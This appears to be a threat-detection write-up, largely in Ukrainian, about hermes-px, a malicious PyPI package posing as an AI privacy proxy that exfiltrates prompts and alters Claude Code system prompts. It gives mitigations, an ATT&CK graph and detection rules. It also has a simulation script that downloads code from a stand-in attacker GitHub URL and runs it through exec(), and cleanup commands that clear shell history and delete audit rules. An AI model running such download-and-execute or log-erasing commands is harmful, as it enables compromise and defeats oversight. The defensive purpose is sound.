hermes-px: A Fake Privacy Proxy Exfiltrating Prompts and Tampering with Claude Code
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Дослідницька група JFrog Security виявила шкідливий пакет PyPI, hermes-px, що маскується під проксі для конфіденційних AI-вводу. Замість захисту користувачів, він маршрутизує трафік через Tor до несанкціонованої AI-точки управління, розміщеної в університеті, змінює або переписує системні повідомлення, а також передає підказки та відповіді моделі в бекенд Supabase. Пакет також містить вкрадений та ребрендований системний підказник Anthropic Claude, підсилюючи обман. hermes-px розповсюджується через публічний PyPI та може бути встановлений через стандартні процеси pip, що полегшує його впровадження в середовища розробників.
Розслідування
Дослідники перевірили код і виявили три шари шифрування, що використовуються для приховування чутливих рядків, поряд із жорстко закодованим ключем API Supabase та компонентом телеметрії, який передає дані безпосередньо через загальнодоступний інтернет. Декодована кінцева точка визначає приватний університетський API, захищений Azure WAF, що вказує на зловживання інфраструктурою, не призначеною для загальнодоступного проксі. Документація проекту додатково підштовхує користувачів отримувати та виконувати додатковий код з URL GitHub, розширюючи ризики за межі самого пакету. Для збереження звичайного вигляду процесу розробки hermes-px імітує інтерфейс OpenAI Python SDK, що знижує підозри під час інтеграції.
Послаблення
Видаліть hermes-px з усіх середовищ і заблокуйте джерела залежностей, щоб запобігти повторній установці. Замініть всі облікові дані, які могли бути розкриті у підказках, конфігураціях або журналах, і заблокуйте доступ до домену ексфільтрації Supabase та інших виявлених шкідливих URL. Якщо Tor встановлено спеціально для підтримки цього інструменту, видаліть його та перевірте пов’язані мережеві контролі. Припускайте, що підказки можуть містити конфіденційні дані, та перегляньте весь захоплений контент на наявність секретів, токенів чи регульованої інформації.
Відповідь
Шукайте установки hermes-px, використовуючи інвентаризацію пакетів і базові лінії робочих станцій розробників, потім сповіщайте про вихідні підключення до supabase.co та вказаної університетської API-точки. Карантинізуйте уражені хости, зберігайте відповідні артефакти (файли пакета, історію терміналу, файли блокування залежностей) і визначте масштаб впливу, визначивши, які підказки та відповіді були передані. Повідомте постраждалих користувачів, а за потреби, і постраждалі установи, оновіть засоби виявлення для позначення подібних до SDK, проксі-поведінки через Tor та підозрілих модулів телеметрії в пакетах Python.
"graph TB %% Визначення класів classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Технічні вузли tech_user_exec["<b>Техніка</b> – <b>T1204 Виконання користувача</b><br/>Жертва запускає шкідливу команду (наприклад, pip install hermes-px)<br/><b>Опис</b>: Виконання шкідливого коду шляхом переконання користувача запустити його."] class tech_user_exec technique tech_supply_chain["<b>Техніка</b> – <b>T1195.002 Компрометація ланцюга поставок програмного забезпечення</b><br/>Випуск шкідливого пакета PyPI для втручання у залежності<br/><b>Опис</b>: Супротивник вводить шкідливий код у ланцюг поставок програмного забезпечення."] class tech_supply_chain technique tech_python["<b>Техніка</b> – <b>T1059.006 Python</b><br/>Шкідливий код Python виконується після інсталяції<br/><b>Опис</b>: Використання інтерпретатора Python для запуску команд."] class tech_python technique tech_proxy_ext["<b>Техніка</b> – <b>T1090.002 Зовнішній проксі</b><br/>Трафік маршрутується через вихідний вузол Tor<br/><b>Опис</b>: Використання зовнішнього проксі-сервісу для приховування походження мережевого трафіку."] class tech_proxy_ext technique tech_proxy_multi["<b>Техніка</b> – <b>T1090.003 Багатоетапний проксі</b><br/>Кілька етапів Tor для анонімності<br/><b>Опис</b>: Ланцюжок декількох проксі для подальшого приховування джерела трафіку."] class tech_proxy_multi technique tech_web_proto["<b>Техніка</b> – <b>T1071.001 Веб-протоколи</b><br/>HTTP-запити до приватного університетського AI API<br/><b>Опис</b>: Використання веб-протоколів для командного і контрольного зв’язку."] class tech_web_proto technique tech_obfuscation["<b>Техніка</b> – <b>T1027 Зашифровані файли або інформація</b><br/>Зашифровані рядки декодуються під час виконання<br/><b>Опис</b>: Приховування шкідливого коду за допомогою шифрування або кодування."] class tech_obfuscation technique tech_dynamic_api["<b>Техніка</b> – <b>T1027.007 Динамічна резолюція API</b><br/>Адреси API резолюються динамічно під час виконання<br/><b>Опис</b>: Визначення та виклик API під час виконання для уникнення статичного виявлення."] class tech_dynamic_api technique tech_exfil["<b>Техніка</b> – <b>T1567 Ексфільтрація через веб-сервіс</b><br/>Дані передано на кінцеву точку атакуючого Supabase<br/><b>Опис</b>: Передача даних на зовнішні веб-сервіси, контрольовані супротивником."] class tech_exfil technique tech_subvert_trust["<b>Техніка</b> – <b>T1553 Підрив довіри</b><br/>Фальшива організація та добре поформатована документація для заманювання жертв<br/><b>Опис</b>: Маніпулювання довірчими відносинами для полегшення компрометації."] class tech_subvert_trust technique %% Підключення потоку tech_user_exec –>|виконує| tech_supply_chain tech_supply_chain –>|доставляє| tech_python tech_python –>|використовує| tech_proxy_ext tech_proxy_ext –>|ланцюжок до| tech_proxy_multi tech_proxy_multi –>|спілкується за допомогою| tech_web_proto tech_web_proto –>|використовує| tech_obfuscation tech_web_proto –>|використовує| tech_dynamic_api tech_obfuscation –>|включає| tech_exfil tech_dynamic_api –>|включає| tech_exfil tech_python –>|включає| tech_subvert_trust "
Потік Атаки
Виявлення
Можливе проникнення/вихід даних/C2 через сторонні сервіси/інструменти (через проксі)
Переглянути
Можливе проникнення/вихід даних/C2 через сторонні сервіси/інструменти (через dns)
Переглянути
Можливе завантаження файлів з GitHub, ініційоване незвичайним процесом (через network_connection)
Переглянути
IOC (HashSha1) для виявлення: hermes-px: «Конфіденційний» AI проксі, що краде ваші підказки, містить змінений Claude Code System Prompt
Переглянути
Викрадання шкідливих кінцевих точок API для AI виведення інфраструктури [Веб-сервер]
Переглянути
Підозріле виконання Python сценарію з GitHub [Процес створення Linux]
Переглянути
Симуляція виконання
Необхідні умови: Попередня перевірка Телеметрії та Базової лінії повинна бути успішно пройдена.
Обґрунтування: У цьому розділі детально описується точне виконання технік супротивника (TTP), призначене для спрацьовування правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP і мати на меті генерувати точну телеметрію, очікувану логікою виявлення. Абстрактні чи нерелевантні приклади призведуть до невірних діагнозів.
-
Атака Наратив і Команди:
Нападник отримав шкідливий Python-пейлоад, розміщений у публічному GitHub репозиторії. Щоб уникнути запису файлів на диск (зменшуючи судовий слід), вони використовують однорядкову команду Python, яка:- Викликає
urllib.request.urlopen()щоб завантажити сирий вміст сценарію з GitHub. - Читає відповідь і передає байти
exec()для негайного виконання. - Виконує команду на скомпрометованому Linux хості, де нападник вже має оболонку з низькими привілеями.
Ця точна схема (
python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") відповідає критеріям виявлення у правилі. - Викликає
-
Скрипт регресивного тестування:
#!/bin/bash # # Симулює шкідливе виконання Python, яке повинно спричинити спрацьовування правила Sigma. # MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py" python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"Збережіть цей скрипт як
trigger_detection.sh, зробіть його виконуваним (chmod +x trigger_detection.sh), і запустіть його на цільовому хості. -
Команди очищення:
# Постійні артефакти не створюються, але прагніть, щоб термінал був чистим. history -c # Очистити історію команд для поточної сесії sudo auditctl -D # (Необов'язково) Видалити всі правила аудитів в режимі виконання, якщо ви додали їх лише для тестування # Якщо ви додали постійне правило в /etc/audit/rules.d/, розгляньте можливість видалення: # sudo rm /etc/audit/rules.d/process_creation.rules